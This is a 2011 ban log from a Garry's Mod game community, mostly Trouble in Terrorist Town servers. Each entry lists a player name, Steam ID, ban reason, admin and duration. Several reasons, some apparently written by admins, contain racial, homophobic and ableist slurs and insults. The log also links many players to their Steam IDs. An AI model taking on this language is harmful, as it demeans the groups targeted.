Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +7:17 pm 01-07-11 Unknown STEAM_0:0:30577331 RDM Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 20:20:0 Unbanned +1:50 pm 01-07-11 jotbasan STEAM_0:1:26064189 Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +1:10 pm 01-07-11 Deathknightrofl STEAM_0:0:21535588 Moaby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +8:44 pm 30-06-11 Unknown STEAM_0:0:21444604 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:04 pm 30-06-11 Unknown STEAM_0:0:27176193 DDoS Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +5:58 pm 30-06-11 Rick The Adventure Sphere STEAM_0:0:27176193 RDM. +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:40 am 30-06-11 [TNC] Physics STEAM_0:0:34730342 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:7:30 Unbanned +11:25 am 30-06-11 Unknown STEAM_0:1:26250283 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 am 30-06-11 Unknown STEAM_0:0:41745347 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:11 pm 29-06-11 Backstabber SPY STEAM_0:0:20757793 Perma lolol +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:23 pm 29-06-11 The_GOD STEAM_0:1:14186905 Ghosting, perma banned +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:20 pm 29-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 ghosting +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:24 am 29-06-11 Unknown STEAM_0:0:24350981 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 am 29-06-11 Unknown STEAM_0:1:28757742 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 am 29-06-11 Unknown STEAM_0:1:31713955 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:54 am 29-06-11 =AlienSex=Scary Whale STEAM_0:0:11504943 Alt of +banned ID STEAM_0:1:37819177 (Console) Fretta|Tigergruppe Kommand +Surf 1:6:9 Unbanned +3:09 am 29-06-11 Carnivore (Aqua Mafia Soldier) STEAM_0:1:3708491 Alt +of banned ID STEAM_0:1:20190580 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +3:01 am 29-06-11 Brenten STEAM_0:1:20190580 Refusing to follow rules, +RDM +[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +12:43 am 29-06-11 chicken pox STEAM_0:1:37819177 rdm +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +11:54 pm 28-06-11 +[SP]+ MeadowBug STEAM_0:0:18096541 Kiwii +Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +6:27 pm 28-06-11 RAPID_RAPIST STEAM_0:0:15261031 RDM +[SP]+ Suicidal +Robot Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:02 pm 28-06-11 AnonymousDonald ||GH|| STEAM_0:0:8083803 Alt of +banned ID STEAM_0:0:41331055 (Console) Unknown Unknown Permanent +Banned +3:58 pm 28-06-11 OxTox STEAM_0:0:1669942 Alt of banned ID +STEAM_0:0:41331055 (Console) Unknown Unknown Permanent Banned +1:18 am 28-06-11 JaYcOb STEAM_0:1:38447164 Alt of banned ID +STEAM_0:0:38808302 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 5:16:24 Unbanned +12:40 am 28-06-11 iGustopher STEAM_0:1:35061356 RDM, Prop-Kill ++[SP]+ Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +12:37 am 28-06-11 craWzZ lawl? x) STEAM_0:0:34216844 RDM +[SP]+ +Bloodcore Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:6:0 Unbanned +7:59 pm 27-06-11 FORSCH ` STEAM_0:0:28836539 propkilling lame cunt ++[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:10:0 Unbanned +7:34 pm 27-06-11 Xuly_Ct STEAM_0:0:29590117 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +7:33 pm 27-06-11 Rambox STEAM_0:0:36613827 shhh +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:0:10 Unbanned +6:45 pm 27-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 grow up +-_- +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Deathrun 1:9:20 +Unbanned +6:24 pm 27-06-11 Rebecca White STEAM_0:1:14083830 like this? +[SP]+ +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:53 pm 27-06-11 Unknown STEAM_0:0:22043362 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:37 pm 27-06-11 Bobbycanush STEAM_0:0:29913456 Perma Kiwii +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:08 am 27-06-11 ^5HerdULiekMudkipz. STEAM_0:0:18935548 Cool off. +Kiwii Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:03 pm 26-06-11 [CC] Kool Kitty STEAM_0:0:38808302 Triple RDM as +detective 10000 Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +2:44 pm 26-06-11 Patrik STEAM_0:0:13913439 Alt of banned ID +STEAM_0:1:22097298 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:37 pm 26-06-11 Unknown STEAM_0:1:32471831 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:37 pm 26-06-11 Unknown STEAM_0:1:24595045 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:24 am 26-06-11 Orey STEAM_0:0:17705063 Little bit of RDM +[SP]+ +Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:30 Unbanned +1:20 am 26-06-11 мαÑ?Ñ?Ñ?Ñ?¢Ñ?м STEAM_0:0:33770033 Fuck you ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Snifer 0:1:40 Unbanned +12:11 am 24-06-11 Boss Hawk? STEAM_0:0:14972720 rdm fage ass gook ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:9:20 Unbanned +9:42 pm 23-06-11 DROP SHOCK TROOPER STEAM_0:1:25064912 Retard/10 +years old (Console) Unknown Unknown Permanent Banned +5:48 pm 23-06-11 Unknown STEAM_0:1:41679627 Good memory +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +5:48 pm 23-06-11 Unknown STEAM_0:0:41691509 Good memory +[SP]+ MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent +Banned +5:39 pm 23-06-11 Unknown STEAM_0:1:19946986 I have a good memory ++[SP]+ MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:27 pm 23-06-11 Unknown STEAM_0:1:19946986 I have a real good +memory +[SP]+ MAD MANN Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +5:07 pm 23-06-11 Ag8 \MoZZ@ InFeCtEd/ STEAM_0:0:22491171 WAZZ +UUUUUUUPPPP (GROW UP!) +[SP]+ MAD MANN Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:10 Unbanned +4:45 pm 23-06-11 [Gmod.biZ] â??Knucklezâ?? STEAM_0:1:28247134 I enjoy +your RDM, I also enjoy your perma ban,. Kiwii Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Unbanned +1:51 pm 23-06-11 Unknown STEAM_0:0:13171952 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:37 pm 23-06-11 ^5LKM|^6Jesus^3Mæ^2Biatches STEAM_0:1:6018559 Dude +your fucking banned,. Kiwii Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:21 am 23-06-11 iGustopher STEAM_0:1:35061356 Innocent Prop +Pushing +[SP]+ Suicidal Robot Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:36 am 23-06-11 Jack STEAM_0:0:6719592 RDM +[SP]+ MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:13 pm 22-06-11 NiggaStoleMyBike STEAM_0:1:12115323 Blatant twat ++[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +5:56 pm 22-06-11 Sam Rennie STEAM_0:1:23097789 dont rdm and listen to +admin +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +5:53 pm 22-06-11 |FL|Canowhoopass STEAM_0:1:15564487 Alt of banned ID +STEAM_0:0:38035563 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:58 pm 21-06-11 GamerB0y STEAM_0:1:32250765 Alt of banned ID +STEAM_0:1:26623243 (Console) Unknown Unknown Permanent Banned +11:51 pm 21-06-11 Panda Hat STEAM_0:0:15941044 Alt of banned ID +STEAM_0:1:26623243 (Console) Unknown Unknown Permanent Banned +10:26 pm 21-06-11 Hudson STEAM_0:1:337624 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:26 pm 21-06-11 mandark STEAM_0:0:404578 RDM +[SP]+ CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +8:35 pm 21-06-11 Unknown STEAM_0:0:17488508 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:06 pm 21-06-11 Under-Pwner STEAM_0:1:20035783 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +5:05 pm 21-06-11 slymansix STEAM_0:1:5388189 RDMing on spawn +[SP]+ +shurty40 Unknown Unknown 0:0:10 Unbanned +4:58 pm 21-06-11 Unknown STEAM_0:1:32904731 rdm -> disconnect +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +3:50 pm 21-06-11 Unknown STEAM_0:0:24235484 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:51 pm 20-06-11 =GK= Lomol STEAM_0:1:25274868 Ignoring admin, +rdm. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +10:04 pm 20-06-11 Flapadar STEAM_0:0:10839552 Lol Flapadar +Unknown Unknown 0:0:10 Unbanned +4:09 pm 19-06-11 The (POed) Guy STEAM_0:1:9400651 Alt of banned ID +STEAM_0:0:9431349 (Console) Unknown Unknown Permanent Banned +2:44 pm 19-06-11 Unknown STEAM_0:0:9431349 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:03 pm 19-06-11 HAX STEAM_0:1:33604057 Alt of banned ID +STEAM_0:1:33604057 (Console) Unknown Unknown Permanent Banned +2:54 am 19-06-11 ã??ã?³ã??ã?¹ ï½¥Ï?ï½¥ STEAM_0:0:18214577 Innocent +attacked Detective unreasonably +[SP]+ Suicidal Robot Unknown +Unknown 0:1:0 Unbanned +2:45 am 19-06-11 sharpeye STEAM_0:0:35694017 RDM +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +10:26 pm 18-06-11 efwfwef STEAM_0:1:12115323 Ignooring warning, +racist Flapadar Unknown Unknown 2:0:0 Unbanned +10:08 pm 18-06-11 Bad King Urgrain STEAM_0:1:24252867 Alt of banned +ID STEAM_0:1:24252867 (Console) Unknown Unknown Permanent Banned +9:19 pm 18-06-11 Unknown STEAM_0:0:27126215 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:13 pm 18-06-11 Robosprog STEAM_0:1:3920057 Alt of banned ID +STEAM_0:1:3920057 (Console) Unknown Unknown Permanent Banned +4:33 pm 18-06-11 Unknown STEAM_0:1:20128290 RDM as detective multiple +times, previous offences, bye. (Console) Unknown Unknown Permanent +Banned +2:17 pm 18-06-11 yellow chinese rice STEAM_0:1:12115323 stupid twat ++[SP]+ Ecuilirum Unknown Unknown 0:1:0 Unbanned +1:45 pm 18-06-11 CS | Luke STEAM_0:1:11268198 rdmer +[SP]+ +Ecuilirum Unknown Unknown 0:10:0 Unbanned +1:31 pm 18-06-11 SOUTH PARK =LoVeR= STEAM_0:1:25510571 rdm +[SP]+ +Ecuilirum Unknown Unknown 0:1:0 Unbanned +12:56 pm 18-06-11 Unknown STEAM_0:0:8406038 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +5:45 pm 17-06-11 Unknown STEAM_0:0:11481020 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:50 pm 16-06-11 Unknown STEAM_0:0:20056651 Joining his friend for +trolling. (Console) Unknown Unknown Permanent Banned +8:47 pm 16-06-11 Frrrrrrunkis! STEAM_0:0:29698958 Troll Flapadar +Unknown Unknown Permanent Banned +6:03 pm 16-06-11 +[SP]+ Harry STEAM_0:0:19618718 Ignoring Admin, +Admin Disrespect, Member Disrespect +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +6:01 pm 16-06-11 +[SP]+ Patrice Wilson STEAM_0:1:24252867 Admin +disrespect, Member Disrespect, Retard +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +1:47 pm 16-06-11 Unknown STEAM_0:0:11236593 Cheat: Eradicate +(Console) Unknown Unknown Permanent Banned +1:20 am 16-06-11 Unknown STEAM_0:1:41274325 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:17 am 16-06-11 Don Promillo STEAM_0:0:8597679 RDM/Retard and fuck +you too - Unbanned by flap Flapadar Unknown Unknown Permanent Unbanned +9:30 pm 15-06-11 gamelordalex STEAM_0:0:34881343 Warned. RDM +Flapadar Unknown Unknown 7:0:0 Unbanned +8:58 pm 15-06-11 HAX STEAM_0:1:33604057 RDM +[SP]+ MAD MANN +Unknown Unknown Permanent Banned +10:26 am 15-06-11 Unknown STEAM_0:0:18697685 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:13 pm 14-06-11 Golgotha STEAM_0:0:2647840 numnut rdming detective u +lame bastard +[SP]+ Ecuilirum Unknown Unknown 0:1:0 Unbanned +8:11 pm 14-06-11 mandark STEAM_0:0:404578 RDM again +[SP]+ St. +Hetfield Unknown Unknown 0:0:30 Unbanned +11:03 pm 13-06-11 That one Guy STEAM_0:1:30655030 Traitor TK. RDM. +Fuck off. +[SP]+ ULTRA Unknown Unknown Permanent Banned +10:06 pm 13-06-11 Unknown STEAM_0:0:39875597 Cheat: Code injection +(Console) Unknown Unknown Permanent Unbanned +3:39 pm 13-06-11 Unknown STEAM_0:1:18214819 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:54 pm 12-06-11 Misser Neselo STEAM_0:0:22041164 Alt of banned ID +STEAM_0:0:19210931 (Console) Unknown Unknown Permanent Banned +6:45 pm 12-06-11 Unknown STEAM_0:0:19803935 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:45 pm 12-06-11 Unknown STEAM_0:0:15644324 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:31 pm 12-06-11 Imba. MTL STEAM_0:0:19210931 RDM, Mass-RDM, RDM as +detective +[SP]+ Bloodcore Unknown Unknown Permanent Banned +10:03 pm 11-06-11 Morf8 STEAM_0:1:33618793 250 Karma, Mass-RDM ++[SP]+ Bloodcore Unknown Unknown 12:12:0 Unbanned +10:00 pm 11-06-11 â?¦â?¦â?? Ë?¨Ë?â??°ºâ?¢ LULL STEAM_0:0:19408225 +RDM as detective +[SP]+ Bloodcore Unknown Unknown 0:1:0 Unbanned +5:10 pm 11-06-11 [TNC] Physics STEAM_0:0:34730342 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:8:20 Unbanned +8:52 pm 10-06-11 garrett_the_great STEAM_0:0:34111387 RDM. Mega +ignoring admin. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +7:48 pm 10-06-11 ^1PRO Nutsy STEAM_0:1:28328613 Trap Spam/Fucking +around +[SP]+ Bloodcore Unknown Unknown 2:0:0 Unbanned +6:52 pm 10-06-11 Unknown STEAM_0:1:19797567 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:01 pm 10-06-11 SoliDHeaD | | Ac×?DRa1NN` STEAM_0:0:30733371 Retard +- mass RDM Flapadar Unknown Unknown 2:0:0 Unbanned +2:12 pm 10-06-11 Unknown STEAM_0:0:31977149 retard (Console) +Unknown Unknown Permanent Banned +2:07 pm 10-06-11 speuda STEAM_0:0:25701342 Kiwii Unknown Unknown +1:0:0 Unbanned +12:20 am 10-06-11 Zewban STEAM_0:0:1524470 Kiwii Unknown Unknown +1:0:0 Unbanned +12:15 am 10-06-11 DN.se/Ananas und Armee +STEAM_0:1:15944888 Kiwii Unknown Unknown 1:0:0 Unbanned +11:31 pm 09-06-11 Rook/DTRZ STEAM_0:1:11821690 Kiwii Unknown +Unknown Permanent Banned +9:58 pm 09-06-11 Charlie Sheen STEAM_0:0:21999823 Ignoring admin, +maybe rdm but dont give a fuck if you are ignoring me. +[SP]+ ULTRA +Unknown Unknown 2:0:0 Unbanned +9:49 pm 09-06-11 | Topassassin STEAM_0:1:7161165 Retard detective. +learn2play, noob rdmer. +[SP]+ ULTRA Unknown Unknown Permanent Banned +9:15 pm 09-06-11 Imba. MTL STEAM_0:0:19210931 Admin Disrespect ++[SP]+ Bloodcore Unknown Unknown 0:10:0 Unbanned +9:12 pm 09-06-11 Darius STEAM_0:0:22041164 RDM +[SP]+ Bloodcore +Unknown Unknown 0:10:0 Unbanned +8:56 pm 09-06-11 {>BW<} DEEP FÑ?IED M@Ñ?$ B@R! STEAM_0:1:9622670 +Mass-RDM, Again and again. +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +8:28 pm 09-06-11 [WS] Waffles101 STEAM_0:1:30713439 RDM +[SP]+ +Bloodcore Unknown Unknown 0:3:0 Unbanned +8:06 pm 09-06-11 DK søger clan keeperandersen * STEAM_0:0:40882875 +Ghosting +[SP]+ Bloodcore Unknown Unknown 4:4:0 Unbanned +7:15 pm 09-06-11 I RDM STEAM_0:1:8642952 +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +7:01 pm 09-06-11 Stacey King STEAM_0:1:14328404 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +6:50 pm 09-06-11 Disturbed STEAM_0:0:11859704 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +6:48 pm 09-06-11 My name is SYLAR!! STEAM_0:0:33804756 rdm <[Foxes]> +.ExEcute Unknown Unknown Permanent Banned +2:26 am 09-06-11 Unknown STEAM_0:1:19699112 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:18 pm 08-06-11 fil86 STEAM_0:0:6206243 rdmer +[SP]+ Ecuilirum +Unknown Unknown 0:1:0 Unbanned +5:27 pm 08-06-11 Suhayll STEAM_0:0:29555116 RDM +[SP]+ Nekoace +Unknown Unknown 0:16:40 Unbanned +4:38 pm 08-06-11 Unknown STEAM_0:0:17275724 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:38 pm 08-06-11 Unknown STEAM_0:0:41331055 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:21 pm 08-06-11 Unknown STEAM_0:0:23888757 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:54 am 08-06-11 [MG] Person. STEAM_0:1:21982955 Retard rdmer fuck +you dickface +[SP]+ ULTRA Unknown Unknown 2:0:0 Unbanned +12:05 am 08-06-11 very cool tricky STEAM_0:0:4598329 god bless my +ass +[SP]+ MAD MANN Unknown Unknown Permanent Banned +11:09 pm 07-06-11 HanPurple STEAM_0:0:13221563 killing me without +reason <[Foxes]> .ExEcute Unknown Unknown 0:1:0 Unbanned +3:10 pm 07-06-11 Unknown STEAM_0:0:23221448 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:10 pm 07-06-11 Unknown STEAM_0:1:15922559 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:35 am 07-06-11 Unknown STEAM_0:0:21479081 Im server owner. Nope. +(Console) Unknown Unknown Permanent Banned +8:38 pm 06-06-11 Meron STEAM_0:0:23095275 perma Kiwii Unknown +Unknown Permanent Banned +9:42 pm 05-06-11 Unknown STEAM_0:0:12049687 Cheat: Convar forcing +(Console) Unknown Unknown Permanent Banned +7:40 pm 05-06-11 Brian STEAM_0:1:31183784 RDMing Flapadar Unknown +Unknown 2:0:0 Unbanned +3:27 pm 05-06-11 PetitYaourt[FR] STEAM_0:0:35751969 RDM Kiwii +Unknown Unknown 1:0:0 Unbanned +2:04 pm 05-06-11 -hg- The Darkhaud STEAM_0:0:23926287 Kiwii +Unknown Unknown 7:0:0 Unbanned +2:56 am 05-06-11 +[SP]+ Shit STEAM_0:1:8785271 tag fake? +[SP]+ MAD +MANN Unknown Unknown Permanent Banned +2:56 am 05-06-11 +[SP]+ Brucie Wayne STEAM_0:0:20248582 tag fake? ++[SP]+ MAD MANN Unknown Unknown Permanent Banned +2:00 am 05-06-11 |WT| RZA STEAM_0:0:1462964 RDM, bye dawg +[SP]+ +SFAriel Unknown Unknown Permanent Banned +1:55 am 05-06-11 jeftek STEAM_0:0:22704892 RDM +[SP]+ SFAriel +Unknown Unknown 0:0:30 Unbanned +10:00 pm 04-06-11 Yitsu STEAM_0:1:24641341 Alt of banned ID +STEAM_0:0:34875775 (Console) Unknown Unknown Permanent Banned +9:39 pm 04-06-11 icarusfoundyou STEAM_0:1:8404080 asking for it ++[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +9:27 pm 04-06-11 digii STEAM_0:0:14894520 you got banned, again? +Moaby Unknown Unknown 0:0:10 Unbanned +2:44 pm 04-06-11 killermouse_nor STEAM_0:1:37843575 10 minute ban for +u that keeps rdming +[SP]+ Ecuilirum Unknown Unknown 0:0:10 Unbanned +1:04 pm 04-06-11 Suhayll STEAM_0:0:29555116 rdmer le dickowacko +cocko +[SP]+ Ecuilirum Unknown Unknown 0:0:20 Unbanned +3:19 am 04-06-11 pukie210 STEAM_0:0:27294174 twat +[SP]+ MAD MANN +Unknown Unknown 0:1:40 Unbanned +2:02 am 04-06-11 ty (tacticaly insane) STEAM_0:1:25219286 I owe you a +perma ban Kiwii Unknown Unknown Permanent Banned +7:06 pm 03-06-11 Trunk$_PL STEAM_0:0:17165995 RDM, Killing Fellow +Traitors, ignoring admin +[SP]+ Bloodcore Unknown Unknown 4:4:0 +Unbanned +7:04 pm 03-06-11 Brilleklaus STEAM_0:1:6237391 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +6:38 pm 03-06-11 toroalbino STEAM_0:1:32056001 RDM Flapadar +Unknown Unknown 1:0:0 Unbanned +6:13 pm 03-06-11 Jikke STEAM_0:0:5605985 +[SP]+ Ecuilirum Unknown +Unknown 0:0:10 Unbanned +12:04 pm 03-06-11 PIECEoPAPER STEAM_0:0:24255629 +[SP]+ Grim Jam +Unknown Unknown 0:20:0 Unbanned +11:02 am 03-06-11 cRux STEAM_0:0:18187851 i object +[SP]+ SFAriel +Unknown Unknown 0:13:20 Unbanned +6:28 pm 02-06-11 Jummy STEAM_0:0:13297057 0 Kiwii Unknown +Unknown 1:0:0 Unbanned +5:26 pm 02-06-11 CraZyKiLLeR STEAM_0:1:35037256 RDM +[SP]+ SFAriel +Unknown Unknown 0:2:48 Unbanned +12:32 am 02-06-11 PIECEoPAPER STEAM_0:0:24255629 Kiwii Unknown +Unknown 1:0:0 Unbanned +9:44 pm 01-06-11 going for perma, no less STEAM_0:1:20524414 Asking +for it +[SP]+ MAD MANN Unknown Unknown Permanent Banned +6:26 pm 01-06-11 STEAM_0:0:25627034 warned about spam so go fuck +yourself <[Foxes]> .ExEcute Unknown Unknown 0:8:20 Unbanned +1:52 pm 01-06-11 Unknown STEAM_0:0:13447047 Herp Derp I keylogged +Moab. (Console) Unknown Unknown Permanent Banned +2:12 am 01-06-11 Benhur STEAM_0:0:28477623 Alt of banned ID +STEAM_0:0:24001820 (Console) Unknown Unknown Permanent Banned +12:08 am 01-06-11 sir fontaine STEAM_0:1:18924117 RDM +[SP]+ +Bloodcore Unknown Unknown 2:2:0 Unbanned +11:41 pm 31-05-11 Disturbed STEAM_0:0:11859704 RDM, I got bored so I +killed my friends +[SP]+ Bloodcore Unknown Unknown 0:0:10 Unbanned +8:17 pm 31-05-11 [ZF.GFL] dylanstrategie STEAM_0:0:23573469 rdm ++[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +6:38 pm 31-05-11 Unknown STEAM_0:0:27013904 Cheat: Code injection +(Console) Unknown Unknown 344:2:16 Unbanned +3:27 pm 31-05-11 X Toy Rhino STEAM_0:0:66502 RDMing kid. Some stupid +reason. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +3:08 pm 31-05-11 Jman STEAM_0:1:25591580 Dickhead rdm. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +1:19 pm 31-05-11 Aperture Science STEAM_0:1:20264839 Offensive +language towards others Moaby Unknown Unknown 0:1:40 Unbanned +10:33 pm 30-05-11 +[SP]+ Suicidal Robot STEAM_0:0:6608332 like dis? +Moaby Unknown Unknown 0:0:1 Unbanned +10:10 pm 30-05-11 Ã?ĤâţÄ?ḼâÄ? STEAM_0:1:29265352 Fucking son of +a bitch +[SP]+ St. Hetfield Unknown Unknown 0:22:45 Unbanned +10:10 pm 30-05-11 Placardman STEAM_0:0:16186808 bye +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +8:44 pm 30-05-11 X Toy Rhino STEAM_0:0:66502 no reason and no witness +u rdmer +[SP]+ Ecuilirum Unknown Unknown 0:0:10 Unbanned +8:04 pm 30-05-11 salonga STEAM_0:1:26146007 rdming fag +[SP]+ +Ecuilirum Unknown Unknown 0:0:10 Unbanned +7:35 pm 30-05-11 Aperture STEAM_0:1:20264839 AFK, RDM +[SP]+ +Bloodcore Unknown Unknown 0:1:0 Unbanned +5:38 pm 30-05-11 Unknown STEAM_0:0:19096785 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:51 pm 30-05-11 warmdahl STEAM_0:1:27205037 Activating all the +traps, Being a Douche, Ignoring Admin +[SP]+ Bloodcore Unknown +Unknown 0:20:0 Unbanned +11:49 am 30-05-11 Unknown STEAM_0:1:14832593 Breaking rules, lying in +unban request (Console) Unknown Unknown 31:0:0 Unbanned +3:28 am 30-05-11 redmurder STEAM_0:0:36878139 rdm +[SP]+ MAD MANN +Unknown Unknown 1:0:0 Unbanned +2:00 am 30-05-11 Mystic Purple STEAM_0:1:15034027 Alt of banned ID +STEAM_0:0:13221563 (Console) Unknown Unknown 0:23:58 Unbanned +1:59 am 30-05-11 mouss_elsass STEAM_0:0:13221563 RDM +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +1:45 am 30-05-11 Unknown STEAM_0:1:18413786 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:52 pm 29-05-11 long swing hammer STEAM_0:1:24845410 Alt of banned +ID STEAM_0:0:12269454 (Console) Unknown Unknown Permanent Banned +9:03 pm 29-05-11 Unknown STEAM_0:1:22097298 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +5:55 pm 29-05-11 Unknown STEAM_0:0:24963345 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +8:59 pm 28-05-11 VRN|Laserman@Almighty Mono-Man! STEAM_0:0:7803220 +raging and said nigger +[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +4:07 pm 28-05-11 haynes2919 STEAM_0:0:35418753 idiot +[SP]+ MAD +MANN Unknown Unknown 0:1:0 Unbanned +4:02 pm 28-05-11 STEAM_0:1:1451714 Kiwii Unknown Unknown 1:0:0 +Unbanned +3:52 pm 28-05-11 Red bull STEAM_0:0:36505286 Kiwii Unknown +Unknown 1:0:0 Unbanned +3:29 pm 28-05-11 Unknown STEAM_0:1:30682335 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:05 pm 28-05-11 toroalbino STEAM_0:1:32056001 Declaring war and +dumbshit Flapadar Unknown Unknown 2:0:0 Unbanned +2:56 pm 28-05-11 Alone STEAM_0:0:20409864 Bigger retard. RDM. +Disguised Disguisemaster Unknown Unknown 28:0:0 Unbanned +2:56 pm 28-05-11 [WS] Waffles101 STEAM_0:1:30713439 Prop Killing +Flapadar Unknown Unknown 0:1:0 Unbanned +2:55 pm 28-05-11 l MA CHIKIN (º n º) STEAM_0:0:33672697 RDM, +retard. Disguised Disguisemaster Unknown Unknown 14:0:0 Unbanned +2:36 pm 28-05-11 .â?¢Death Dudeâ?¢. STEAM_0:0:28253563 you said you +were a faggot. and i dislike faggots Nobody Unknown Unknown 0:1:0 +Unbanned +11:51 pm 27-05-11 Deathnotedo STEAM_0:1:24637211 Penis brain +asswipe +[SP]+ MAD MANN Unknown 